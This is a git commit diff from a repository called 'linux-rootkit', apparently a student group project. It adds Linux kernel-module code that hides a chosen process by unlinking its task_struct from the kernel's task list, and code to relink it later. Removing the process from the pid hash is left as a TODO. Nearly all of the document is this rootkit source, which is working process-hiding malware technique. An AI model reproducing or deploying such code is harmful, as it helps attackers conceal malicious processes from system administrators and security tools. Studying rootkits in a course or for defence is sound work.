linux-rootkit

commit 4f83ef383b32a24b525ded92bf018ca3c473785d
parent d61f684b92c7559340b0b510ed88cb445ddedf27
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 28 Nov 2020 23:12:37 +0100

adds initial {,un}hiding code

Diffstat:
M
src/hidepid.c
 | 
44
++++++++++++++++++++++++++++++++++++++++----
M
src/hidepid.h
 | 
4
+++-

2 files changed, 43 insertions(+), 5 deletions(-)
diff --git a/src/hidepid.c b/src/hidepid.c
@@ -1,28 +1,63 @@
 #include <linux/slab.h>
+#include <linux/pid.h>
 
 #include "hidepid.h"
 
 static pid_list_t hidden_pids = {
     .pid  = -1,
+    .task = NULL,
     .prev = NULL,
     .next = NULL,
     .head = NULL,
     .tail = NULL
 };
 
-
+// https://tldp.org/LDP/lki/lki-2.html
 void
 hide_pid(pid_t pid)
 {
+    size_t i;
+    struct pid *spid;
+    struct task_struct *task;
+
     if (list_contains_pid(&hidden_pids, pid))
         return;
 
-    add_pid_to_list(hidden_pids.tail, pid);
+    if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
+        return;
+
+    { // unlink from circular DLL of task_structs
+        task->tasks.prev->next = task->tasks.next;
+        task->tasks.next->prev = task->tasks.prev;
+    }
+
+    { // TODO: remove pid from `pidhash`
+    }
+
+    add_pid_to_list(hidden_pids.tail, pid, task);
 }
 
 void
 unhide_pid(pid_t pid)
 {
+    size_t i;
+    struct pid *spid;
+    pid_list_t_ptr node;
+
+    if (!(node = find_pid_in_list(&hidden_pids, pid)))
+        return;
+
+    if (!(spid = get_task_pid(node->task, PIDTYPE_PID)))
+        return;
+
+    { // relink within circular DLL of task_structs
+        node->task->tasks.next->prev = &node->task->tasks;
+        node->task->tasks.prev->next = &node->task->tasks;
+    }
+
+    { // TODO: readd pid to `pidhash`
+    }
+
     remove_pid_from_list(hidden_pids.tail, pid);
 }
 
@@ -70,13 +105,14 @@ find_pid_in_list(pid_list_t_ptr list, pid_t pid)
 }
 
 pid_list_t_ptr
-add_pid_to_list(pid_list_t_ptr tail, pid_t pid)
+add_pid_to_list(pid_list_t_ptr tail, pid_t pid, struct task_struct *task)
 {
     pid_list_t_ptr node;
-    node = (pid_list_t_ptr)kzalloc(sizeof(pid_list_t), GFP_KERNEL);
+    node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL);
 
     if (node) {
         node->pid = pid;
+        node->task = task;
         node->next = NULL;
         node->prev = tail;
         tail->next = node;
diff --git a/src/hidepid.h b/src/hidepid.h
@@ -2,10 +2,12 @@
 #define _GROUP7_HIDEPID_H
 
 #include <linux/types.h>
+#include <linux/sched.h>
 
 typedef struct pid_list *pid_list_t_ptr;
 typedef struct pid_list {
     pid_t pid;
+    struct task_struct *task;
     pid_list_t_ptr prev;
     pid_list_t_ptr next;
     pid_list_t_ptr head;
@@ -20,7 +22,7 @@ void unhide_pids(void);
 void init_pid_list(void);
 bool list_contains_pid(pid_list_t_ptr, pid_t);
 pid_list_t_ptr find_pid_in_list(pid_list_t_ptr, pid_t);
-pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t);
+pid_list_t_ptr add_pid_to_list(pid_list_t_ptr, pid_t, struct task_struct *);
 pid_list_t_ptr remove_pid_from_list(pid_list_t_ptr, pid_t);
 
 #endif//_GROUP7_HIDEPID_H